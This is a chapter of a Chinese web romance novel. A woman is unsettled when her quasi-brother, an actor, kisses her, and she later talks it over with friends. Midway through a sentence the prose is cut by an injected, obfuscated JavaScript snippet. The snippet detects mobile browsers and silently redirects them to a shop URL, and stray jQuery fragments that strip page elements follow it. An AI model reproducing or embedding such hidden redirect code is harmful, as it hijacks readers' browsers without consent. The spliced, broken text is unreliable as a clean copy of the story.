许知妍大脑霎时空白。
尚未回神,嘴唇突然触及一点柔软温热,转瞬即逝,仿佛错觉,但疯了一般节节攀登的心跳却在证实着确有其事。
靠。
许知妍猛地推开辛同樾,躲到床角,脸红的快要滴血,“哥,你疯了?!”
辛同樾站起身,一双眼睛里满是不加掩饰的执拗欲望,在昏暗里泛着冷冽的光。
“嗯,就当我疯了吧。”
许知妍手指攥紧睡衣袖口,想到最近发生的事,终究软了些语气,“今晚的事,就当没发生过,我们还像平常一样......”
“做不到。”
许知妍咬咬牙,憋着心里的火气站起来,下床将他推出自己的卧室。
“疯子,该睡觉了。”
“想和你一起睡。”
许知妍一口气差点哽住,砰的将门甩上,锁住,抚着心脏坐回床上,惊魂未定。
这人是谁?还是她那个温柔的哥哥吗?被疯子夺舍了吧。
净瞎说话,瞎亲嘴......难道是因为压力太大,出现幻觉,认错人了?
究竟什么情况......
十分钟后,她拨通了杜斯年的电话。
有些问题,或许他知道答案。
杜斯年沉默一阵,“......你知道辛同樾一个学计算机的为什么要进娱乐圈吗?”
“为什么?”
“说来话长,你听我慢慢讲吧。”
......
当年杜斯年与大学女友分手,在校门口清吧借酒消愁,好巧不巧偶遇同样借酒消愁的老冤家,辛同樾。
杜斯年醉醺醺问,“喂,你那小尾巴呢?听我妈说她高考也考到帝都了,你们这不得天天见面啊?”
辛同樾瞥他一眼,“她说恨我,再也不想看到我。”
“哦呦,那小孩还能对你说出这话呢?看来确实伤心了。”
辛同樾仰头咽下杯中酒。
“伤心?她新交了男朋友,哪有空伤心。”
杜斯年拍了拍他肩膀,“巧,我女朋友也有了新男友,老子被绿了一个月才知道。”
辛同樾终于肯用正眼瞧他了。
杜斯年张牙舞爪在空中挥着拳头,“什么乱七八糟的感情,假的一批,哥们现在就想搞事业,嗝。”
说完,他说的脸皱得更难看了,像是快哭。
“他妈的,事业也搞不成,真是一坨大便,我操了,我有病我学个斯瓦西里语专业?你说我是不是有病?”
辛同樾没说话,静静喝酒。
杜斯年转头盯了他一会,忽然来气。
“不是,凭啥你长这么帅啊?我操了,凭啥啊?你别学计算机了,当明星去得了,让全天下女的都爱上你算他妈个球,还当个屁的程序员,别告诉我没公司联系过你,隔。”
辛同樾将他的手从自己脸上拽开,嫌弃丢走。
杜斯年在空中转了个圈,一拍桌子,怒道:“你他妈的脑瓜是咋长的啊?许知妍不说再不想见到你吗?那你就去演戏,当明星,让世界遍地都是你这张脸,让许知妍无时不刻不得看见你,想着你,不好吗?喜欢不去追在这叽里咕噜,怂包一个,老子就看不起你这种怂……”
辛同樾扬手给了杜斯年左脸一拳,打得他差点跌下椅子。
杜斯年酒意上头,甚是不服地拽着辛同樾衣领,“妈的,小时候打架是老子让着你,还真以为自己能行了是吧!”
转瞬,二人扭打在一起,酒瓶噼里啪啦砸碎一地……
半小时后,一个鼻青脸肿的普通人和一个引人侧目的帅哥坐在马路牙子上。
辛同樾眯眼望着车流,“你的建议不错,我要让她无时不刻都能看到我,记得我。”
杜斯年心里说:妈的真就大傻逼一个,不错还他妈揍我,有病吧?有病能不能去治治病?我操了。
结果话到了嘴上却说:“那大明星,你缺不缺个会说斯瓦西里语的助理或者经纪人?带带弟弟。”
......
杜斯年讲的有些激动,“要不是老子当年找不到工作,早把他揍的屁滚尿流了,这傻逼。”
许知妍握着手机的指节收紧,心沉了下去。
她从没想过辛同樾当演员会与她有关。
早知今日,再来一次,她选择闭嘴,不逞强放些违心的狠话,是不是哥哥就会选择一份压力小些的工作,不用遭受铺天盖地的网暴。
杜斯年有些无奈,“今天我就来公司处理两个小时工作,一眼没看住,他立马偷跑去找你,万幸没被拍到。唉,明天一早,我去把他带回家,绝对寸步不离盯着他。”
许知妍垂眸,神色复杂。
她心疼哥哥,舍不得哥哥,却一时又实在不知道该怎么面对他,不知道如果像今晚这样的情况再出现,又该怎么办。
彼此冷静一段时间,或许是必然,也是必须的选择。
“好。那等会我拍给你一张名片,是朋友推荐的心理咨询医生,麻烦你帮我哥联络安排一下,越快越好,谢谢斯年哥。”
“行,随时微信联系,早点睡吧。”
怎么可能早睡。
这一夜,许知妍心乱如麻。
*
第二天一早,杜斯年如他所说的,来接人回家。
许知妍这才拄着拐杖走出房门。
她为了躲辛同樾,卫生间都不敢去。
辛同樾抱臂坐在沙发上,语气森冷,“赶我走,换昨晚那个男的来照顾你,给你做饭?”
许知妍压着脾气说:“不是,时冉会来照顾我,给我带饭吃。”
杜斯年啧了一声,去拽辛同樾,“这么大人了别那么幼稚行不行,到时候狗仔拍到妍妍,把她挂热搜上网暴你就高兴了?快走吧。”
辛同樾盯着许知妍,“你腿不方便,跟我一起回家。”
许知妍果断拒绝,“不要。”
杜斯年催促,“快撤吧,这两天已经有狗仔摸到这片了,我们整个团队的人都还靠你吃饭呢,求你了祖宗。”
许知妍见辛同樾还是不肯走,皱了下眉,将他叫到卧室里单独说话。
她合上门,看着他的眼睛,正色道:“我现在回答你昨晚的问题。”
“五年前我说的恨你,再也不想见到你,都是假话,我从来不恨你,甚至一直很想你。”
辛同樾瞳孔有一瞬微不可察的颤动。
许知妍移开目光,声音小了点,“还有,你永远是我最好最好的哥哥。”
辛同樾自然听懂了她婉转的拒绝,神色变得有些落寞。
他拉开房门,跟随杜斯年离开了,没有回头。
许知妍站在原地看着他的背影,有点奇异地失落。
好像原本在期待着些什么一样。
*
辛同樾刚走没多久,杜斯年便打来电话说帮她找了个临时阿姨,负责早中晚三
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019329|193787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
餐,简单打扫卫生。
时冉上班前,下班后也会来看她。
许知妍心道浮夸,不过是崴了脚,哪至于像生活不能自理似的。
……
接下来独居的这几天,许知妍心事沉沉,只要一闲下来脑子就想的全是和辛同樾有关的事情。
关于病,她查过资料,心理治疗是一个漫长的过程,急也没办法,不能过分焦虑。
关于感情,凭心而论,她的确在与哥哥接触时有过瞬间心动,但那是错觉,是荷尔蒙在作怪,换一个人也可能会有相同心动的感觉,不能作数。
思来想去,许知妍只好一门心思扑在工作上,摒除杂念,沉浸创作,让自己冷静,先做好手头的事。
窗外天空漆黑,错落的楼宇亮着一个个小方块,在夜晚散发着或冷或暖,或明或暗的光。
许知妍坐在电脑前,觉得距离清晨就只过了一晃眼的功夫。
门响了。
她慢慢活动僵硬的脊椎,听见钥匙清脆的碰撞声,还有时冉喊:“许知妍,我下班了,你在干嘛呢?”
她懒得走动,所以把家门钥匙放在了地毯下,方便时冉和阿姨进出。
时冉站在卧室门口,叉着腰,一脸无奈,“我走的时候你就在电脑前,我回来你怎么还在,拜托别这么卷好不好。”
“好好好。”许知妍笑起来,“今晚阿姨包了饺子,你最喜欢的玉米鲜肉馅。”
时冉迅速转身,“我去煮。”
许知妍使用拐杖的技术愈发熟练,行动自如,基本上不需要别人帮助,时冉来家里发挥的最大作用就是陪伴,陪吃,陪聊。
挺好的,省得家里冷清,叫人忍不住胡思乱想。
时冉拿出两个碗,倒了一碗底醋,再滴进去两滴香油,半勺辣椒,说:“我怎么感觉你最近怪怪的,是脚太疼,还是剧本写的不顺利?”
许知妍摇摇头,“都没有啊,这次的客户很好说话,要修改的内容也不多。”
时冉笃定道:“哦,那就是感情上出问题了,说说吧。”
“……”许知妍被戳中心事,干巴巴的问:“冉冉,我表现的有那么明显吗?”
“对,超明显的,谁叫你眼睛又大又圆,一点事儿藏不住。”
“好吧。”许知妍将饺子塞进嘴里,鼓鼓囊囊地说:“我哥好像喜欢我。”
“咳咳咳……”
时冉用纸巾捂着嘴,一阵猛咳,好半天才消停
“草,辣椒放多了……不瞒你说,我现在写的剧本就是伪骨科,哥哥变老公这个戏码我太熟了,咳。”
许知妍拧开一瓶牛奶,放在时冉面前,“别乱讲,我已经委婉拒绝他了。”
时冉哇哦一声,“是了,哥哥变老公都是要经历这个阶段的。”
许知妍颇为惆怅,“拜托,这是现实生活,不是剧本诶。”
“没听说过那句话吗,剧本来源于现实。你有没有对他心动的感觉?就像我上次说的那样,天雷勾地火,心痒难耐!”
“……”
许知妍埋头吃着饺子,耳尖越来越红。
说实话。
她这些天的冷静也不知道冷到哪去了,总是会想起那晚的吻。
还有辛同樾扣在腰间的手,垂下的眼睫,流畅高挺的鼻梁,他靠近时的体温,鼻息,柔软的嘴唇......包括两个人在浴室听墙角时,他的反应。
只想想,她便心跳不已。